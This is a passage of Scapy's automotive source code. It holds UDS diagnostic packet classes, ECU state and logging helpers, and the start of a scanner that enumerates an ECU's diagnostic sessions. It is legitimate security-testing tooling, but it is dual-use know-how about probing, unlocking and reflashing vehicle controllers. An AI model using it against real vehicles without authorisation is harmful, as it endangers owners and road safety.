UDS_RDTCI): return False if not other.reportType == self.reportType: return False if self.reportType == 0x02: return other.DTCStatusMask & self.DTCStatusAvailabilityMask if self.reportType == 0x06: return other.dtc == self.extendedDataRecord.dtcAndStatus.dtc if self.reportType == 0x04: return other.dtc == self.snapshotRecord.dtcAndStatus.dtc return True bind_layers(UDS, UDS_RDTCIPR, service=0x59) # #########################RC################################### class UDS_RC(Packet): routineControlTypes = { 0: 'ISOSAEReserved', 1: 'startRoutine', 2: 'stopRoutine', 3: 'requestRoutineResults' } routineControlIdentifiers = ObservableDict() name = 'RoutineControl' fields_desc = [ ByteEnumField('routineControlType', 0, routineControlTypes), XShortEnumField('routineIdentifier', 0, routineControlIdentifiers) ] bind_layers(UDS, UDS_RC, service=0x31) class UDS_RCPR(Packet): name = 'RoutineControlPositiveResponse' fields_desc = [ ByteEnumField('routineControlType', 0, UDS_RC.routineControlTypes), XShortEnumField('routineIdentifier', 0, UDS_RC.routineControlIdentifiers), ] def answers(self, other): if isinstance(other, UDS_RC) \ and other.routineControlType == self.routineControlType \ and other.routineIdentifier == self.routineIdentifier: if isinstance(self.payload, NoPayload): return True else: return self.payload.answers(other.payload) return False bind_layers(UDS, UDS_RCPR, service=0x71) # #########################RD################################### class UDS_RD(Packet): dataFormatIdentifiers = ObservableDict({ 0: 'noCompressionNoEncryption' }) name = 'RequestDownload' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] bind_layers(UDS, UDS_RD, service=0x34) class UDS_RDPR(Packet): name = 'RequestDownloadPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('reserved', 0, 4), StrField('maxNumberOfBlockLength', b"", fmt="B"), ] def answers(self, other): return isinstance(other, UDS_RD) bind_layers(UDS, UDS_RDPR, service=0x74) # #########################RU################################### class UDS_RU(Packet): name = 'RequestUpload' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, UDS_RD.dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] bind_layers(UDS, UDS_RU, service=0x35) class UDS_RUPR(Packet): name = 'RequestUploadPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('reserved', 0, 4), StrField('maxNumberOfBlockLength', b"", fmt="B"), ] def answers(self, other): return isinstance(other, UDS_RU) bind_layers(UDS, UDS_RUPR, service=0x75) # #########################TD################################### class UDS_TD(Packet): name = 'TransferData' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferRequestParameterRecord', b"", fmt="B") ] bind_layers(UDS, UDS_TD, service=0x36) class UDS_TDPR(Packet): name = 'TransferDataPositiveResponse' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferResponseParameterRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_TD) \ and other.blockSequenceCounter == self.blockSequenceCounter bind_layers(UDS, UDS_TDPR, service=0x76) # #########################RTE################################### class UDS_RTE(Packet): name = 'RequestTransferExit' fields_desc = [ StrField('transferRequestParameterRecord', b"", fmt="B") ] bind_layers(UDS, UDS_RTE, service=0x37) class UDS_RTEPR(Packet): name = 'RequestTransferExitPositiveResponse' fields_desc = [ StrField('transferResponseParameterRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_RTE) bind_layers(UDS, UDS_RTEPR, service=0x77) # #########################RFT################################### class UDS_RFT(Packet): name = 'RequestFileTransfer' modeOfOperations = { 0x00: "ISO/SAE Reserved", 0x01: "Add File", 0x02: "Delete File", 0x03: "Replace File", 0x04: "Read File", 0x05: "Read Directory" } @staticmethod def _contains_file_size(packet): return packet.modeOfOperation not in [2, 4, 5] fields_desc = [ XByteEnumField('modeOfOperation', 0, modeOfOperations), FieldLenField('filePathAndNameLength', None, length_of='filePathAndName', fmt='H'), StrLenField('filePathAndName', b"", length_from=lambda p: p.filePathAndNameLength), ConditionalField(BitField('compressionMethod', 0, 4), lambda p: p.modeOfOperation not in [2, 5]), ConditionalField(BitField('encryptingMethod', 0, 4), lambda p: p.modeOfOperation not in [2, 5]), ConditionalField(FieldLenField('fileSizeParameterLength', None, fmt="B", length_of='fileSizeUnCompressed'), lambda p: UDS_RFT._contains_file_size(p)), ConditionalField(StrLenField('fileSizeUnCompressed', b"", length_from=lambda p: p.fileSizeParameterLength), lambda p: UDS_RFT._contains_file_size(p)), ConditionalField(StrLenField('fileSizeCompressed', b"", length_from=lambda p: p.fileSizeParameterLength), lambda p: UDS_RFT._contains_file_size(p)) ] bind_layers(UDS, UDS_RFT, service=0x38) class UDS_RFTPR(Packet): name = 'RequestFileTransferPositiveResponse' @staticmethod def _contains_data_format_identifier(packet): return packet.modeOfOperation != 0x02 fields_desc = [ XByteEnumField('modeOfOperation', 0, UDS_RFT.modeOfOperations), ConditionalField(FieldLenField('lengthFormatIdentifier', None, length_of='maxNumberOfBlockLength', fmt='B'), lambda p: p.modeOfOperation != 2), ConditionalField(StrLenField('maxNumberOfBlockLength', b"", length_from=lambda p: p.lengthFormatIdentifier), lambda p: p.modeOfOperation != 2), ConditionalField(BitField('compressionMethod', 0, 4), lambda p: p.modeOfOperation != 0x02), ConditionalField(BitField('encryptingMethod', 0, 4), lambda p: p.modeOfOperation != 0x02), ConditionalField(FieldLenField('fileSizeOrDirInfoParameterLength', None, length_of='fileSizeUncompressedOrDirInfoLength'), lambda p: p.modeOfOperation not in [1, 2, 3]), ConditionalField(StrLenField('fileSizeUncompressedOrDirInfoLength', b"", length_from=lambda p: p.fileSizeOrDirInfoParameterLength), lambda p: p.modeOfOperation not in [1, 2, 3]), ConditionalField(StrLenField('fileSizeCompressed', b"", length_from=lambda p: p.fileSizeOrDirInfoParameterLength), lambda p: p.modeOfOperation not in [1, 2, 3, 5]), ] def answers(self, other): return isinstance(other, UDS_RFT) bind_layers(UDS, UDS_RFTPR, service=0x78) # #########################IOCBI################################### class UDS_IOCBI(Packet): name = 'InputOutputControlByIdentifier' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] bind_layers(UDS, UDS_IOCBI, service=0x2F) class UDS_IOCBIPR(Packet): name = 'InputOutputControlByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] def answers(self, other): return isinstance(other, UDS_IOCBI) \ and other.dataIdentifier == self.dataIdentifier bind_layers(UDS, UDS_IOCBIPR, service=0x6F) # #########################NR################################### class UDS_NR(Packet): negativeResponseCodes = { 0x00: 'positiveResponse', 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported', 0x13: 'incorrectMessageLengthOrInvalidFormat', 0x14: 'responseTooLong', 0x20: 'ISOSAEReserved', 0x21: 'busyRepeatRequest', 0x22: 'conditionsNotCorrect', 0x23: 'ISOSAEReserved', 0x24: 'requestSequenceError', 0x25: 'noResponseFromSubnetComponent', 0x26: 'failurePreventsExecutionOfRequestedAction', 0x31: 'requestOutOfRange', 0x33: 'securityAccessDenied', 0x34: 'authenticationRequired', 0x35: 'invalidKey', 0x36: 'exceedNumberOfAttempts', 0x37: 'requiredTimeDelayNotExpired', 0x3A: 'secureDataVerificationFailed', 0x50: 'certificateVerificationFailedInvalidTimePeriod', 0x51: 'certificateVerificationFailedInvalidSignature', 0x52: 'certificateVerificationFailedInvalidChainOfTrust', 0x53: 'certificateVerificationFailedInvalidType', 0x54: 'certificateVerificationFailedInvalidFormat', 0x55: 'certificateVerificationFailedInvalidContent', 0x56: 'certificateVerificationFailedInvalidScope', 0x57: 'certificateVerificationFailedInvalidCertificateRevoked', 0x58: 'ownershipVerificationFailed', 0x59: 'challengeCalculationFailed', 0x5a: 'settingAccessRightsFailed', 0x5b: 'sessionKeyCreationOrDerivationFailed', 0x5c: 'configurationDataUsageFailed', 0x5d: 'deAuthenticationFailed', 0x70: 'uploadDownloadNotAccepted', 0x71: 'transferDataSuspended', 0x72: 'generalProgrammingFailure', 0x73: 'wrongBlockSequenceCounter', 0x78: 'requestCorrectlyReceived-ResponsePending', 0x7E: 'subFunctionNotSupportedInActiveSession', 0x7F: 'serviceNotSupportedInActiveSession', 0x80: 'ISOSAEReserved', 0x81: 'rpmTooHigh', 0x82: 'rpmTooLow', 0x83: 'engineIsRunning', 0x84: 'engineIsNotRunning', 0x85: 'engineRunTimeTooLow', 0x86: 'temperatureTooHigh', 0x87: 'temperatureTooLow', 0x88: 'vehicleSpeedTooHigh', 0x89: 'vehicleSpeedTooLow', 0x8a: 'throttle/PedalTooHigh', 0x8b: 'throttle/PedalTooLow', 0x8c: 'transmissionRangeNotInNeutral', 0x8d: 'transmissionRangeNotInGear', 0x8e: 'ISOSAEReserved', 0x8f: 'brakeSwitch(es)NotClosed', 0x90: 'shifterLeverNotInPark', 0x91: 'torqueConverterClutchLocked', 0x92: 'voltageTooHigh', 0x93: 'voltageTooLow', } name = 'NegativeResponse' fields_desc = [ XByteEnumField('requestServiceId', 0, UDS.services), ByteEnumField('negativeResponseCode', 0, negativeResponseCodes) ] def answers(self, other): return self.requestServiceId == other.service and \ (self.negativeResponseCode != 0x78 or conf.contribs['UDS']['treat-response-pending-as-answer']) bind_layers(UDS, UDS_NR, service=0x7f) # ################################################################## # ######################## UTILS ################################### # ################################################################## class UDS_TesterPresentSender(PeriodicSenderThread): def __init__(self, sock, pkt=UDS() / UDS_TP(subFunction=0x80), interval=2): """ Thread to send TesterPresent messages packets periodically Args: sock: socket where packet is sent periodically pkt: packet to send interval: interval between two packets """ PeriodicSenderThread.__init__(self, sock, pkt, interval) ================================================ FILE: scapy/contrib/automotive/uds_ecu_states.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = UDS EcuState modifications # scapy.contrib.status = library from scapy.contrib.automotive.uds import UDS_DSCPR, UDS_ERPR, UDS_SAPR, \ UDS_RDBPIPR, UDS_CCPR, UDS_TPPR, UDS_RDPR, UDS from scapy.packet import Packet from scapy.contrib.automotive.ecu import EcuState __all__ = ["UDS_DSCPR_modify_ecu_state", "UDS_CCPR_modify_ecu_state", "UDS_ERPR_modify_ecu_state", "UDS_RDBPIPR_modify_ecu_state", "UDS_TPPR_modify_ecu_state", "UDS_SAPR_modify_ecu_state", "UDS_RDPR_modify_ecu_state"] @EcuState.extend_pkt_with_modifier(UDS_DSCPR) def UDS_DSCPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None state.session = self.diagnosticSessionType # type: ignore try: del state.security_level # type: ignore except AttributeError: pass @EcuState.extend_pkt_with_modifier(UDS_ERPR) def UDS_ERPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None state.reset() state.session = 1 # type: ignore @EcuState.extend_pkt_with_modifier(UDS_SAPR) def UDS_SAPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None if self.securityAccessType % 2 == 0 and \ self.securityAccessType > 0 and len(req) >= 3: state.security_level = self.securityAccessType # type: ignore elif self.securityAccessType % 2 == 1 and \ self.securityAccessType > 0 and \ len(req) >= 3 and not any(self.securitySeed): state.security_level = self.securityAccessType + 1 # type: ignore @EcuState.extend_pkt_with_modifier(UDS_CCPR) def UDS_CCPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None state.communication_control = self.controlType # type: ignore @EcuState.extend_pkt_with_modifier(UDS_TPPR) def UDS_TPPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None state.tp = 1 # type: ignore @EcuState.extend_pkt_with_modifier(UDS_RDBPIPR) def UDS_RDBPIPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None state.pdid = self.periodicDataIdentifier # type: ignore @EcuState.extend_pkt_with_modifier(UDS_RDPR) def UDS_RDPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None oldstr = getattr(state, "req_download", "") newstr = str(req.fields) state.req_download = oldstr if newstr in oldstr else oldstr + newstr # type: ignore # noqa: E501 @EcuState.extend_pkt_with_modifier(UDS) def UDS_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None if self.service == 0x77: # UDS RequestTransferExitPositiveResponse try: state.download_complete = state.req_download # type: ignore except (KeyError, AttributeError): pass state.req_download = "" # type: ignore ================================================ FILE: scapy/contrib/automotive/uds_logging.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = UDS Ecu logging additions # scapy.contrib.status = library from scapy.contrib.automotive.uds import UDS_DSCPR, UDS_ERPR, UDS_SAPR, \ UDS_CCPR, UDS_TPPR, UDS_DSC, UDS_ER, UDS_RDPR, UDS_TDPR, UDS_RD, UDS_TD, \ UDS_CC, UDS_NR, UDS_SA, UDS_RDBIPR, UDS_LC, UDS_RC, UDS_TP, UDS_RU, \ UDS_IOCBIPR, UDS_WDBIPR, UDS_CDTCIPR, UDS_CDTCI, UDS_RDTCIPR, \ UDS_RDTCI, UDS_RMBAPR, UDS_WMBAPR, UDS_WMBA, UDS_LCPR, UDS_RCPR, UDS_RFT, \ UDS_RTE, UDS_RTEPR, UDS_RFTPR, UDS_IOCBI, UDS_RDBI, UDS_RMBA, UDS_WDBI, \ UDS_CDTCS, UDS_CDTCSPR, UDS_SDT, UDS_SDTPR, UDS_RUPR from scapy.packet import Packet from scapy.contrib.automotive.ecu import Ecu from typing import ( Any, Tuple, ) @Ecu.extend_pkt_with_logging(UDS_DSC) def UDS_DSC_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_DSC.diagnosticSessionType%") @Ecu.extend_pkt_with_logging(UDS_DSCPR) def UDS_DSCPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_DSCPR.diagnosticSessionType%") @Ecu.extend_pkt_with_logging(UDS_ER) def UDS_ER_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_ER.resetType%") @Ecu.extend_pkt_with_logging(UDS_ERPR) def UDS_ERPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_ER.resetType%") @Ecu.extend_pkt_with_logging(UDS_SA) def UDS_SA_get_log(self): # type: (Packet) -> Tuple[str, Any] if self.securityAccessType % 2 == 1: return self.sprintf("%UDS.service%"),\ (self.securityAccessType, None) else: return self.sprintf("%UDS.service%"),\ (self.securityAccessType, self.securityKey) @Ecu.extend_pkt_with_logging(UDS_SAPR) def UDS_SAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] if self.securityAccessType % 2 == 0: return self.sprintf("%UDS.service%"),\ (self.securityAccessType, None) else: return self.sprintf("%UDS.service%"),\ (self.securityAccessType, self.securitySeed) @Ecu.extend_pkt_with_logging(UDS_CC) def UDS_CC_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_CC.controlType%") @Ecu.extend_pkt_with_logging(UDS_CCPR) def UDS_CCPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_CCPR.controlType%") @Ecu.extend_pkt_with_logging(UDS_TP) def UDS_TP_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.subFunction @Ecu.extend_pkt_with_logging(UDS_TPPR) def UDS_TPPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.zeroSubFunction @Ecu.extend_pkt_with_logging(UDS_SDT) def UDS_SDT_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.securityDataRequestRecord @Ecu.extend_pkt_with_logging(UDS_SDTPR) def UDS_SDTPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.securityDataResponseRecord @Ecu.extend_pkt_with_logging(UDS_CDTCS) def UDS_CDTCS_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_CDTCS.DTCSettingType%") @Ecu.extend_pkt_with_logging(UDS_CDTCSPR) def UDS_CDTCSPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_CDTCSPR.DTCSettingType%") @Ecu.extend_pkt_with_logging(UDS_LC) def UDS_LC_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS.linkControlType%") @Ecu.extend_pkt_with_logging(UDS_LCPR) def UDS_LCPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS.linkControlType%") @Ecu.extend_pkt_with_logging(UDS_RDBI) def UDS_RDBI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_RDBI.identifiers%") @Ecu.extend_pkt_with_logging(UDS_RDBIPR) def UDS_RDBIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_RDBIPR.dataIdentifier%") @Ecu.extend_pkt_with_logging(UDS_RMBA) def UDS_RMBA_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ (getattr(self, "memoryAddress%d" % self.memoryAddressLen), getattr(self, "memorySize%d" % self.memorySizeLen)) @Ecu.extend_pkt_with_logging(UDS_RMBAPR) def UDS_RMBAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.dataRecord @Ecu.extend_pkt_with_logging(UDS_WDBI) def UDS_WDBI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_WDBI.dataIdentifier%") @Ecu.extend_pkt_with_logging(UDS_WDBIPR) def UDS_WDBIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ self.sprintf("%UDS_WDBIPR.dataIdentifier%") @Ecu.extend_pkt_with_logging(UDS_WMBA) def UDS_WMBA_get_log(self): # type: (Packet) -> Tuple[str, Any] addr = getattr(self, "memoryAddress%d" % self.memoryAddressLen) size = getattr(self, "memorySize%d" % self.memorySizeLen) return self.sprintf("%UDS.service%"), (addr, size, self.dataRecord) @Ecu.extend_pkt_with_logging(UDS_WMBAPR) def UDS_WMBAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] addr = getattr(self, "memoryAddress%d" % self.memoryAddressLen) size = getattr(self, "memorySize%d" % self.memorySizeLen) return self.sprintf("%UDS.service%"), (addr, size) @Ecu.extend_pkt_with_logging(UDS_CDTCI) def UDS_CDTCI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ (self.groupOfDTCHighByte, self.groupOfDTCMiddleByte, self.groupOfDTCLowByte) @Ecu.extend_pkt_with_logging(UDS_CDTCIPR) def UDS_CDTCIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), None @Ecu.extend_pkt_with_logging(UDS_RDTCI) def UDS_RDTCI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), repr(self) @Ecu.extend_pkt_with_logging(UDS_RDTCIPR) def UDS_RDTCIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), repr(self) @Ecu.extend_pkt_with_logging(UDS_RC) def UDS_RC_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ (self.routineControlType, self.routineIdentifier) @Ecu.extend_pkt_with_logging(UDS_RCPR) def UDS_RCPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ (self.routineControlType, self.routineIdentifier) @Ecu.extend_pkt_with_logging(UDS_RD) def UDS_RD_get_log(self): # type: (Packet) -> Tuple[str, Any] addr = getattr(self, "memoryAddress%d" % self.memoryAddressLen) size = getattr(self, "memorySize%d" % self.memorySizeLen) return self.sprintf("%UDS.service%"), (addr, size) @Ecu.extend_pkt_with_logging(UDS_RDPR) def UDS_RDPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.memorySizeLen @Ecu.extend_pkt_with_logging(UDS_RU) def UDS_RU_get_log(self): # type: (Packet) -> Tuple[str, Any] addr = getattr(self, "memoryAddress%d" % self.memoryAddressLen) size = getattr(self, "memorySize%d" % self.memorySizeLen) return self.sprintf("%UDS.service%"), (addr, size) @Ecu.extend_pkt_with_logging(UDS_RUPR) def UDS_RUPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.memorySizeLen @Ecu.extend_pkt_with_logging(UDS_TD) def UDS_TD_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ (self.blockSequenceCounter, self.transferRequestParameterRecord) @Ecu.extend_pkt_with_logging(UDS_TDPR) def UDS_TDPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.blockSequenceCounter @Ecu.extend_pkt_with_logging(UDS_RTE) def UDS_RTE_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ self.transferRequestParameterRecord @Ecu.extend_pkt_with_logging(UDS_RTEPR) def UDS_RTEPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ self.transferResponseParameterRecord @Ecu.extend_pkt_with_logging(UDS_RFT) def UDS_RFT_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ self.modeOfOperation @Ecu.extend_pkt_with_logging(UDS_RFTPR) def UDS_RFTPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"),\ self.modeOfOperation @Ecu.extend_pkt_with_logging(UDS_IOCBI) def UDS_IOCBI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.dataIdentifier @Ecu.extend_pkt_with_logging(UDS_IOCBIPR) def UDS_IOCBIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), self.dataIdentifier @Ecu.extend_pkt_with_logging(UDS_NR) def UDS_NR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%UDS.service%"), \ (self.sprintf("%UDS_NR.requestServiceId%"), self.sprintf("%UDS_NR.negativeResponseCode%")) ================================================ FILE: scapy/contrib/automotive/uds_scan.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss import copy import inspect import itertools import logging import random import struct import time from abc import ABC from collections import defaultdict # typing imports from typing import ( Dict, Optional, NamedTuple, List, Type, Any, Iterable, cast, Union, Set, Sequence, ) from scapy.compat import orb from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.ecu import EcuState from scapy.contrib.automotive.scanner.configuration import \ AutomotiveTestCaseExecutorConfiguration # noqa: E501 from scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \ _AutomotiveTestCaseScanResult, _AutomotiveTestCaseFilteredScanResult, \ StateGeneratingServiceEnumerator from scapy.contrib.automotive.scanner.executor import AutomotiveTestCaseExecutor # noqa: E501 from scapy.contrib.automotive.scanner.graph import _Edge from scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase # noqa: E501 from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \ _SocketUnion, _TransitionTuple, StateGenerator from scapy.contrib.automotive.uds import UDS, UDS_NR, UDS_DSC, UDS_TP, \ UDS_RDBI, UDS_WDBI, UDS_SA, UDS_RC, UDS_IOCBI, UDS_RMBA, UDS_ER, \ UDS_TesterPresentSender, UDS_CC, UDS_RDBPI, UDS_RD, UDS_TD, UDS_DSCPR # TODO: Refactor this import from scapy.contrib.automotive.uds_ecu_states import * # noqa: F401, F403 from scapy.error import Scapy_Exception from scapy.packet import Raw, Packet # scapy.contrib.description = UDS AutomotiveTestCaseExecutor # scapy.contrib.status = loads # Definition outside the class UDS_RMBASequentialEnumerator # to allow pickling _PointOfInterest = NamedTuple("_PointOfInterest", [ ("memory_address", int), ("direction", bool), # True = increasing / upward, False = decreasing / downward # noqa: E501 ("memorySizeLen", int), ("memoryAddressLen", int), ("memorySize", int)]) class UDS_Enumerator(ServiceEnumerator, ABC): @staticmethod def _get_negative_response_code(resp): # type: (Packet) -> int return resp.negativeResponseCode @staticmethod def _get_negative_response_desc(nrc): # type: (int) -> str return UDS_NR(negativeResponseCode=nrc).sprintf( "%UDS_NR.negativeResponseCode%") def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], "PR: Supported") @staticmethod def _get_negative_response_label(response): # type: (Packet) -> str return response.sprintf("NR: %UDS_NR.negativeResponseCode%") class UDS_DSCEnumerator(UDS_Enumerator, StateGeneratingServiceEnumerator): _description = "Available sessions" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'delay_state_change': (int, lambda x: x >= 0), 'overwrite_timeout': (bool, None), 'close_socket_when_entering_session_2': (bool, None), 'support_suppress_positive_response': (bool, None) }) _supported_kwargs["scan_range"] = ( (list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param int delay_state_change: Specifies an additional delay after after a session is modified from the transition function. In unit-test scenarios, this delay should be set to zero. :param bool overwrite_timeout: True by default. This enumerator overwrites the timeout argument, since most ECUs take some time until a session is changed. This ensures that more results are gathered by default. In unit-test scenarios, this value should be set to False, in order to use the timeout specified by the 'timeout' argument. :param bool close_socket_when_entering_session_2: False by default. This enumerator will close the socket if session 2 (ProgrammingSession) was entered, if True. This will force a reconnect by the executor. :param bool support_suppress_positive_response: False by default. If True, this enumerator will treat no response for a DSC request with a session type > 0x80 as a positive response and will therefore create a new state with a session value - 0x80.""" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] session_range = kwargs.pop("scan_range", range(2, 0x100)) return UDS() / UDS_DSC(diagnosticSessionType=session_range) def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None # fix configuration in kwargs to avoid overwrite from user kwargs["exit_if_service_not_supported"] = False kwargs["retry_if_busy_returncode"] = False # Apply a fixed timeout for this execute. # Unit-tests may want to overwrite the timeout to speed up testing if kwargs.pop("overwrite_timeout", True): kwargs["timeout"] = 3 super(UDS_DSCEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % ( tup[1].diagnosticSessionType, tup[1].sprintf("%UDS_DSC.diagnosticSessionType%")) @staticmethod def enter_state(socket, # type: _SocketUnion configuration, # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 request # type: Packet ): # type: (...) -> bool try: timeout = configuration[UDS_DSCEnumerator.__name__]["timeout"] except KeyError: timeout = 3 ans = socket.sr1(request, timeout=timeout, verbose=False) if ans is not None: if configuration.verbose: log_automotive.debug( "Try to enter session req: %s, resp: %s" % (repr(request), repr(ans))) return cast(int, ans.service) != 0x7f else: return False def get_new_edge(self, socket, # type: _SocketUnion config # type: AutomotiveTestCaseExecutorConfiguration ): # type: (...) -> Optional[_Edge] edge = super(UDS_DSCEnumerator, self).get_new_edge(socket, config) try: close_socket = config[UDS_DSCEnumerator.__name__]["close_socket_when_entering_session_2"] # noqa: E501 except KeyError: close_socket = False try: support_out_of_spec = config[UDS_DSCEnumerator.__name__]["support_suppress_positive_response"] # noqa: E501 except KeyError: support_out_of_spec = False if edge is None: try: state, req, resp, _, _ = cast(ServiceEnumerator, self).results[-1] # noqa: E501 except IndexError: return None if support_out_of_spec and resp is None and req.diagnosticSessionType > 0x80: # noqa: E501 resp = UDS() / UDS_DSCPR(diagnosticSessionType=0x80 - req.diagnosticSessionType) # noqa: E501 new_state = EcuState.get_modified_ecu_state(resp, req, state) if new_state == state: return None else: edge = (state, new_state) 